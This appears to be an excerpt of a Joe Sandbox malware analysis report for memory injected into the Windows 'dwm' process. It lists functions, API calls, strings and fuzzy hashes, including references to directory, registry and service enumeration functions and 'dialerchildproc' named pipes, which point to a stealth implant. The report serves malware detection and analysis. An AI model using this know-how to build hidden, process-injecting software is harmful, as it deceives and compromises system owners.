Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 2e90505e04656505fd78b95d1cb7b759dff8d1399e86eb690480c60c0401cd7d
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 5B31A3AC203A4AE1EE1DEFA5E8596DC6320BF24F47F88C11394290257A9F38D34DD354

Function 00000283E1306910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000283E1306938
__scrt_acquire_startup_lock.LIBCMT ref: 00000283E130698A
_RTC_Initialize.LIBCMT ref: 00000283E13069B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000283E13069DE
__scrt_release_startup_lock.LIBCMT ref: 00000283E1306A09

Strings

`eh vector vbase copy constructor iterator', xrefs: 00000283E13069EE
scriptor', xrefs: 00000283E1306B39, 00000283E1306BB2, 00000283E1306BEC
`dynamic initializer for ', xrefs: 00000283E13069C7
`eh vector copy constructor iterator', xrefs: 00000283E1306A3B

Memory Dump Source

Source File: 00000033.00000002.2688761851.00000283E1300000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1300000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 2434573bbb3959f8f22f9b5c31a2f679530dc7b011a2fad2b41c5118c0ca3940
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 8881F4E970360186FE5CEB26944D39D62D0EF85F82F64C11599E94779EDF38CB85A300

Function 00000283E133CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00000283E133CE37
FlsGetValue.KERNEL32(?,?,?,00000283E1340A6B,?,?,?,00000283E134045C,?,?,?,00000283E133C84F), ref: 00000283E133CE4C
FlsSetValue.KERNEL32(?,?,?,00000283E1340A6B,?,?,?,00000283E134045C,?,?,?,00000283E133C84F), ref: 00000283E133CE6D
FlsSetValue.KERNEL32(?,?,?,00000283E1340A6B,?,?,?,00000283E134045C,?,?,?,00000283E133C84F), ref: 00000283E133CE9A
FlsSetValue.KERNEL32(?,?,?,00000283E1340A6B,?,?,?,00000283E134045C,?,?,?,00000283E133C84F), ref: 00000283E133CEAB
FlsSetValue.KERNEL32(?,?,?,00000283E1340A6B,?,?,?,00000283E134045C,?,?,?,00000283E133C84F), ref: 00000283E133CEBC
SetLastError.KERNEL32 ref: 00000283E133CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000283E1340A6B,?,?,?,00000283E134045C,?,?,?,00000283E133C84F), ref: 00000283E133CF0D
FlsSetValue.KERNEL32(?,?,00000001,00000283E133ECCC,?,?,?,?,00000283E133BF9F,?,?,?,?,?,00000283E1337AB0), ref: 00000283E133CF2C

Part of subcall function 00000283E133D6CC: HeapAlloc.KERNEL32 ref: 00000283E133D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000283E1340A6B,?,?,?,00000283E134045C,?,?,?,00000283E133C84F), ref: 00000283E133CF54

Part of subcall function 00000283E133D744: HeapFree.KERNEL32 ref: 00000283E133D75A
Part of subcall function 00000283E133D744: GetLastError.KERNEL32 ref: 00000283E133D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000283E1340A6B,?,?,?,00000283E134045C,?,?,?,00000283E133C84F), ref: 00000283E133CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000283E1340A6B,?,?,?,00000283E134045C,?,?,?,00000283E133C84F), ref: 00000283E133CF76

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 0f5bd83557919c64e9c3997140e7272b5e21ab7a53415310dc18d7f65da08ea2
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 7641592C30324442FE6DE731595D3AD22925F84FB3F9CC735A83A076EADE28E6419309

Function 00000283E1332244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000283E1332259
GetCurrentProcessId.KERNEL32 ref: 00000283E1332263

Part of subcall function 00000283E1331934: OpenProcess.KERNEL32 ref: 00000283E1331952
Part of subcall function 00000283E1331934: IsWow64Process.KERNEL32 ref: 00000283E1331968
Part of subcall function 00000283E1331934: CloseHandle.KERNEL32 ref: 00000283E1331983

CreateFileW.KERNEL32 ref: 00000283E13322BC
WriteFile.KERNEL32 ref: 00000283E13322E4
ReadFile.KERNEL32 ref: 00000283E1332303
CloseHandle.KERNEL32 ref: 00000283E133230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 00000283E133228C
\\.\pipe\dialerchildproc32, xrefs: 00000283E1332293

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 3bc83ef56490969222b1f2c91d3c50cf1e416a1b25a039c5ab8402535c8c487f
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 04213D7A61964083EF24DB25E44835D73B0FB89BA6F548215EA6902AA8CF3CC649CB00

Function 00000283E133A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000283E133A5A1

Part of subcall function 00000283E133B414: __GetUnwindTryBlock.LIBCMT ref: 00000283E133B457
Part of subcall function 00000283E133B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000283E133B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000283E133A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000283E133A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000283E133A9DA

Strings

csm, xrefs: 00000283E133A622
csm, xrefs: 00000283E133A5BB
csm, xrefs: 00000283E133A69C

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 1c7c6ade97a9d81dc84d10f02c93e28983b51a9423eab20c620c06e69b00f240
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 96E1E77A606740C6EF28CF65D48839D7BA0FB45F99F088115EEA997B95CF34E281C704

Function 00000283E1309944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000283E13099A1

Part of subcall function 00000283E130A814: __GetUnwindTryBlock.LIBCMT ref: 00000283E130A857
Part of subcall function 00000283E130A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000283E130A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000283E1309A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000283E1309CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000283E1309DDA

Strings

csm, xrefs: 00000283E1309A22
csm, xrefs: 00000283E13099BB
csm, xrefs: 00000283E1309A9C

Memory Dump Source

Source File: 00000033.00000002.2688761851.00000283E1300000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1300000_dwm.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 8ece28fc0875b6f63fba8f9dbfb4a3b9def09946079340c7eaa23a15f8bcc119
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 18E1AC7AA02B408AEF68DB29D48839D77E1FB45B99F108115EE8E47B99CF34C691C700

Function 00000283E133F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00000283E133F510
GetProcAddress.KERNEL32 ref: 00000283E133F51C

Strings

api-ms-, xrefs: 00000283E133F45A
ext-ms-, xrefs: 00000283E133F46D

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 5d7d1a51b735ebf900d8eb67b6fc9ae04a0e1bb6a2ff7692f47daa2b37b4b9aa
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: A741142E313A0081FF1EEB16A90839D2399BF44FA1F9DC1259D2D97785EE3CE6458308

Function 00000283E133104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000283E13310B1
RegEnumValueW.ADVAPI32 ref: 00000283E1331117
GetProcessHeap.KERNEL32 ref: 00000283E133115A
HeapAlloc.KERNEL32 ref: 00000283E1331168
GetProcessHeap.KERNEL32 ref: 00000283E1331185
HeapFree.KERNEL32 ref: 00000283E1331193

Strings

d, xrefs: 00000283E13310D6

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: c7bb437bee989c34fa322d7e13a9942e7d6e3a2adbfdb8b6f76292421895bcf2
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 28419D77615B84C6EB64CF21E44839EB7B1F788F89F148129DA9907B58DF38D689CB00

Function 00000283E133D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000283E133C7DE,?,?,?,?,?,?,?,?,00000283E133CF9D,?,?,00000001), ref: 00000283E133D087
FlsSetValue.KERNEL32(?,?,?,00000283E133C7DE,?,?,?,?,?,?,?,?,00000283E133CF9D,?,?,00000001), ref: 00000283E133D0A6
FlsSetValue.KERNEL32(?,?,?,00000283E133C7DE,?,?,?,?,?,?,?,?,00000283E133CF9D,?,?,00000001), ref: 00000283E133D0CE
FlsSetValue.KERNEL32(?,?,?,00000283E133C7DE,?,?,?,?,?,?,?,?,00000283E133CF9D,?,?,00000001), ref: 00000283E133D0DF
FlsSetValue.KERNEL32(?,?,?,00000283E133C7DE,?,?,?,?,?,?,?,?,00000283E133CF9D,?,?,00000001), ref: 00000283E133D0F0

Strings

1%, xrefs: 00000283E133D0CE
Y%, xrefs: 00000283E133D0A6

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 786a4f9829735ab70ee11378d55a0e6c0e05b19d85eeaeebbace4d489af7695b
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: BD11812C70628042FE6DE7355D5D36D62465F44FF3F9CC324A839076EADE28E6029308

Function 00000283E1337510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000283E1337538
__scrt_acquire_startup_lock.LIBCMT ref: 00000283E133758A
_RTC_Initialize.LIBCMT ref: 00000283E13375B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000283E13375DE
__scrt_release_startup_lock.LIBCMT ref: 00000283E1337609

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 351078de9efe30df4f32b397462e5f314c4686ef2f04be30a5dfd773b5411b4c
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: A081242D60324186FF5DEB65985D3AD62E0AF45F82F1CC414EA2447397DF38EB419708

Function 00000283E1339DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000283E1339E49
GetLastError.KERNEL32 ref: 00000283E1339E57
LoadLibraryExW.KERNEL32 ref: 00000283E1339E81
FreeLibrary.KERNEL32 ref: 00000283E1339EC7
GetProcAddress.KERNEL32 ref: 00000283E1339ED3

Strings

api-ms-, xrefs: 00000283E1339E69

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: f61c81db08ed808d6359bf1a4e7ba981dd37bf6d4c20258929e9bcda9082836d
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 8531C82A313640D1EF19DB42A40876D63A5BF48FA2F5D8625DD3F07790DF39E6458324

Function 00000283E1343DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000283E1343DE5
GetLastError.KERNEL32 ref: 00000283E1343DF1
CloseHandle.KERNEL32 ref: 00000283E1343E09
CreateFileW.KERNEL32 ref: 00000283E1343E34
WriteConsoleW.KERNEL32 ref: 00000283E1343E53

Strings

CONOUT$, xrefs: 00000283E1343E15

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: f444d0b3e318b8938645a42bbc0aac7d94db407687588f44a17f6cc32fe13e90
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 29119436316B5086EB54CF52E84831DB7B0FB88FE6F548214EA6E87795CF38C6548740

Function 00000283E1332F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000283E1332F27
HeapAlloc.KERNEL32 ref: 00000283E1332F3A
StrCmpNIW.SHLWAPI ref: 00000283E1332FAF
GetProcessHeap.KERNEL32 ref: 00000283E1333015
HeapFree.KERNEL32 ref: 00000283E1333023

Strings

dialer, xrefs: 00000283E1332FA8

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 67ceacef6610860797a6f56f93278ade51303ad8b391ad1779fd7027a9686d3c
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 9031A02A702B5182EF28CF16E54876DA7A0FF44F82F0CC120DE5947B65EF38E6A58304

Function 00000283E133CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000283E133CFAF
FlsSetValue.KERNEL32(?,?,?,00000283E133D6B5,?,?,?,?,00000283E133D778), ref: 00000283E133CFE5
FlsSetValue.KERNEL32(?,?,?,00000283E133D6B5,?,?,?,?,00000283E133D778), ref: 00000283E133D012
FlsSetValue.KERNEL32(?,?,?,00000283E133D6B5,?,?,?,?,00000283E133D778), ref: 00000283E133D023
FlsSetValue.KERNEL32(?,?,?,00000283E133D6B5,?,?,?,?,00000283E133D778), ref: 00000283E133D034
SetLastError.KERNEL32 ref: 00000283E133D04F

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 9049642bad976dcaeb260c4e502678ef3bed2d4d76fb14fdf2abbcc5719f1fa6
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: CF11B12C30728082FE2DE731594D76D62526F84FF3F98C325A836477EADE28E6419708

Function 00000283E133199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000283E13319C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000283E13319E0
PathFindFileNameW.SHLWAPI ref: 00000283E13319EF
lstrlenW.KERNEL32 ref: 00000283E13319FB
StrCpyW.SHLWAPI ref: 00000283E1331A0E
CloseHandle.KERNEL32 ref: 00000283E1331A1C

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: eca86c2beaa4756d44eec8c468e97c5593a8cea9ab4770ef77e88daab1020eee
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: BD016D65305A8082FB58DF52A45C35D63A1FB88FC6F588035DE6A43755DF3CC64AC700

Function 00000283E13336C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000283E13336E4
GetCurrentProcess.KERNEL32 ref: 00000283E13336F2
VirtualProtectEx.KERNEL32 ref: 00000283E1333714
GetCurrentProcess.KERNEL32 ref: 00000283E1333732
VirtualProtectEx.KERNEL32 ref: 00000283E1333753
TerminateThread.KERNEL32 ref: 00000283E1333762

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 8d05c7485832891e7e8ffea8c6b4fbed30585bdc88881fa52c0c90c0d272a5cd
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 9B0117A9216B40C2FF29DF62E80C31D62B0BF49F87F188424C96907765EF3DC2488704

Function 00000283E1338FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000283E1339013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000283E13390A8
RtlUnwindEx.NTDLL ref: 00000283E13390F7

Strings

csm, xrefs: 00000283E133908E
f, xrefs: 00000283E1339026

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: 690be8847b2c79e1940d03a89951b7096e2812207888b0425e37c4744045998e
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: 22519C3AA02600C6EF18CB15E84CB5D77A6FB44F8AF19C128DA2753788DF75EA41C748

Function 00000283E1331A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000283E1331A60
StrCmpNIW.SHLWAPI ref: 00000283E1331A7A
lstrlenW.KERNEL32 ref: 00000283E1331A89
StrCpyW.SHLWAPI ref: 00000283E1331A9E

Strings

\\?\, xrefs: 00000283E1331A6E

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: 4bfde026593bb786e541d8157d97100292bc2100ca1653a31ea531411dff1ab5
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 2DF03C6630568192FF64CF21E89875D67B0FB48F8AF988020DA5946965DE2CC78ECB00

Function 00000283E1333044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000283E1333066
StrCpyW.SHLWAPI ref: 00000283E1333076
StrCatW.SHLWAPI ref: 00000283E1333082
PathCombineW.SHLWAPI ref: 00000283E1333090

Strings

\\.\pipe\, xrefs: 00000283E133305C

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 2cdcd3933421dc4d503f2c501c1b181cf37907ffffb072f982c9b553aad917e4
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 7CF0F8A9716B8482EE18CF52B91815DA661AF48FD2F18D120EE6A47B28DF28C6859704

Function 00000283E133BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000283E133BCBD
GetProcAddress.KERNEL32 ref: 00000283E133BCD3
FreeLibrary.KERNEL32 ref: 00000283E133BCFA

Strings

mscoree.dll, xrefs: 00000283E133BCB4
CorExitProcess, xrefs: 00000283E133BCCC

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 68e631acc57dfef2e3d2a9f2f0f8a9beeb2edc0fc22ec5090a11bf22dec4f9e9
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 7DF0126931660581EF28CF24E84C35D6371FF85FA2F548619DA7A451E8DF3CC6499740

Function 00000283E1335710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000283E1335726

Memory Dump Source

Source File: 00000033.00000002.2688833339.00000283E1330000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000283E1330000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_283e1330000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: d3b9a58ef7fdfc98620847497ecba833532ef1df5abfce1ac3323b88e95c3dec
Instruction ID: 7ff17526a6ecb31d7afefb36ea07f82e89d062e58bf25859816bf81241c74b5d
Opcode Fuzzy Hash: d3b9a58ef7fdfc98620847497ecba833532ef1df5abfce1ac3323b88e95c3dec
Instruction Fuzzy Hash: BF61F97A61AB40C6EF65CB15E44831EB7E0F788B85F148215EA9E47BA8DF7CD640CB04

Function 00000283E1344104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000283E134412C
_set_statfp.LIBCMT ref: 00000283E1344147
_set_statfp.LIBCMT ref: 00000283E1344163
